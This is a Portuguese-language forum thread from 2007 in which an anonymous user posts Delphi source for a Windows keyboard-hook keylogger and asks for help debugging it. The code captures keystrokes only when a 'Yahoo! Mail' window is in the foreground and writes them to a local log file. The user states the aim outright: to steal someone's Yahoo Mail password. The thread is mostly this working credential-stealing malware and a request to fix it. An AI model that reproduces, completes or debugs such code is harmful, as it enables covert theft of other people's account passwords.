hooks

Started by Anonymous, 03 de July , 2007, 03:13:13 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Anonymous

E ae galera,
sou novo no forum, o xtreme me recomendou a algumas semanas e eu me cadastrei.

Eu estou tentando fazer um Keylogger usando hooks, li o tutorial que tem aqui no forum sobre windows hooks no delphi. Eu só preciso que essa KL pegue uma senha do yahoo mail..
Só que eu to tento um problema, funciona perfeito, mais é como se alguem apertasse 2x cada tecla.. tipo, a pessoa aperta "a" e a wparam coloca 2x "a" no arquivo de texto... usei um showmessage para ver oque tinha na wparam e apareceu 2 msgs escrito 65(ascii de "a"). Pq isso tá acontecendo?
O codigo da keyboardproc que é chamada ao apertar as teclas:
function KeyboardProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
var
Handled: Boolean;
JANELA: array[0..255] of Char;
arq: TextFile;
begin
Handled := False;
if nCode = HC_ACTION then
begin
//CAPTURA DO TITULO.
GetWindowText(GetForegroundWindow, JANELA, 255);
if pos('Yahoo! Mail', JANELA) > 0 then begin
if ((wParam>=65) and (wParam<=90) or (wParam>=48) and (wParam<=57)) then begin
  Handled := True;
  begin
   AssignFile(arq, 'C:\logkl.txt');
   if fileexists('C:\logkl.txt') then append(arq)
   else Rewrite(arq,'c:\logkl.log');
   Write(arq, Chr(wParam));
   CloseFile(arq);
   Result := 0;
  end;
 end;
end;
end;

Anonymous

alguem me ajuda ai por favoor
to precisando mesmo faze isso....